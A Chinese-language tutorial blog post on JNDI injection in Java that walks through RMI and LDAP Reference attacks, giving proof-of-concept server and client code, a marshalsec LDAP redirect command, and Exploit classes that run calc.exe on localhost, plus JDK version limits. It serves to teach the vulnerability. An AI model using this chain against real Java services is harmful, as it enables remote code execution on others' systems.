javaweb-JNDI注入

0x01什么叫JNDI

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。

JNDI是一个API,允许客户端通过name发现和查找数据和对象。

 

 

 

 在 Java 中为了能够更方便的管理、访问和调用远程的资源对象,常常会使用 LDAP 和 RMI 等服务来将资源对象或方法绑定在固定的远程服务端,供应用程序来进行访问和调用。为了更好的理解整个 JNDI 注入产生的原因,下面用实际代码来说明一下常规 RMI 访问和使用 JNDI 访问 RMI 的区别。

0x02JNDI-RMI

首先一个对象方法要被远程应用所调用需要其extends与java.rmi.Remote接口,并且需要抛出RemoteException异常,而远程对象必须实现java.rmi.server.UniCastRemteObject类。

首先创建一个继承Rmote的接口Print

 

 

 再创建RemoteClass类继承UniCastRemoteObject并且包含Print接口

 

 

 最后用RMI绑定实列对象,并且使用JNDI去获取并调用方法Printworld

LocalRMI.java

package Print;

import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
import Print.RemoteClasss;


public class LocaRmi {
    final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory";
    final static String PROVIDER_URL = "rmi://localhost:8080";

    public static void main(String[] args) throws Exception {
        //注册RMI服务器端口
        LocateRegistry.createRegistry(8080);

        Hashtable<String, Object> env = new Hashtable< >();
        env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY);
        env.put(Context.PROVIDER_URL, PROVIDER_URL);
        Context ctx = new InitialContext(env);

        RemoteClasss RemoteClass = new RemoteClasss();
        ctx.bind("exp",RemoteClass);
        System.out.println("Jndi服务已绑定...");
    }

}

ClentRMI.java

package Print;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;


public class ClinetRmi {
    final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory";
    final static String PROVIDER_URL = "rmi://localhost:8080";

    public static void main(String[] args) throws Exception {
        Hashtable<String, Object> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY);
        env.put(Context.PROVIDER_URL, PROVIDER_URL);
        Context ctx = new InitialContext(env);

        Print Remotec = (Print) ctx.lookup("exp");
        for (int i = 0; i < 5; i++) {
            System.out.println(Remotec.Printworld("ohohohohohohohoh"));
        }
        System.out.println("-------------------");
    }

}

 

 

 

 这里是通过JNDI获取远程函数Print并且传入string,再远程执行后返回结果到Client

 

 

  RMI 中动态加载字节代码

使用RMI Remote Object的方式在RMI那一节我们能够看到,利用限制很大。但是使用RMI+JNDI Reference就没有那些限制,不过在JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。

如果远程获取到RMI服务上的对象为 Reference类或者其子类,则在客户端获取远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化获取Stub对象。

Reference中几个比较关键的属性:

className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
classFactory - 远程的工厂类
classFactoryLocation - 工厂类加载的地址,可以是file://、ftp://、http:// 等协议
使用ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问,客户端可以访问该引用。

当有客户端通过 lookup("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference类的实例,
客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,
如果本地未找到,则会去请求 http://example.com:12345/FactoryClassName.class 加载工厂类。

 

如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

RemoteClass.java

packge Print;
import java.lang.Runtime;
import java.lang.Process;

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc.exe"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }
}

 

localRMI.java

package Print;

import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.util.Hashtable;
import Print.RemoteClasss;
import com.sun.jndi.rmi.registry.ReferenceWrapper;


public class LocaRmi {
    final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory";
    final static String PROVIDER_URL = "rmi://localhost:8080";

    public static void main(String[] args) throws Exception {
/*        //注册RMI服务器端口
*/        LocateRegistry.createRegistry(8080);

        Hashtable<String, Object> env = new Hashtable< >();
        env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY);
        env.put(Context.PROVIDER_URL, PROVIDER_URL);
        Context ctx = new InitialContext(env);
        Reference refObj = new Reference("RemoteClasss", "Print.RemoteClasss", "http://127.0.0.1:80/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
/*        RemoteClasss RemoteClass = new RemoteClasss();*/
        ctx.bind("exp",refObjWrapper);
        System.out.println("Jndi服务已绑定...");
    }

}

 ClientRmi.java

package Print;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;


public class ClinetRmi {

    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext(); 
     ctx.lookup("rmi://localhost:8080/exp");
} }

 参考

0X03JNDI-LDAP 测试环境8u211

JNDI Reference配合LDAP
在上文中说过,JNDI一般配合RMI、LDAP等协议进行使用,所以上文中有RMI,自然就有LDAP。使用LDAP与上文中的RMI大同小异。所以我直接使用marshalsec启动LDAP服务,LDAP服务默认端口号为1389。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389
BASH
JNDI注入的JDK版本限制
由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false属性的限制。

但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的限制。

JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false
一张图来展示JNDI注入的利用方式与JDK版本的关系:

 

 这里我们为了简便使用集成的marshalsec

C:\Users\java\Desktop>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi
.LDAPRefServer http://127.0.0.1:8080/#Exploit
Listening on 0.0.0.0:1389
Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8080/Expl
oit.class
Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8080/Expl
oit.class

 

 

 POC.java

package Ldap;

import javax.naming.Context;
import javax.naming.InitialContext;
public class Poc {
    public static void main(String[] args) throws Exception {

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        String uri = "ldap://127.0.0.1:1389/Exploit";
        Context ctx = new InitialContext();
        ctx.lookup(uri);

    }
}

 Exploit.java


public class Exploit {
    public Exploit(){
        try {
            java.lang.Runtime.getRuntime().exec(
                    new String[]{"calc.exe"});
                    } catch(Exception e){
                e.printStackTrace();
            }
        }
        public static void main(String[] argv){
            Exploit e = new Exploit();
        }
    }

 

 

 

https://blog.csdn.net/zhangzeyuaaa/article/details/53385028
https://patrilic.top/2020/03/15/JNDI%E6%B3%A8%E5%85%A5/#0x01-JNDI-RMI
https://paper.seebug.org/1091/
https://paper.seebug.org/1091/#jndildap
https://y4er.com/post/attack-java-jndi-rmi-ldap-2/ https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/#1-JNDI-%E8%8E%B7%E5%8F%96%E5%B9%B6%E8%B0%83%E7%94%A8%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95

 

posted @ 2021-04-07 22:16  yourse1f  阅读(472)  评论(1编辑  收藏  举报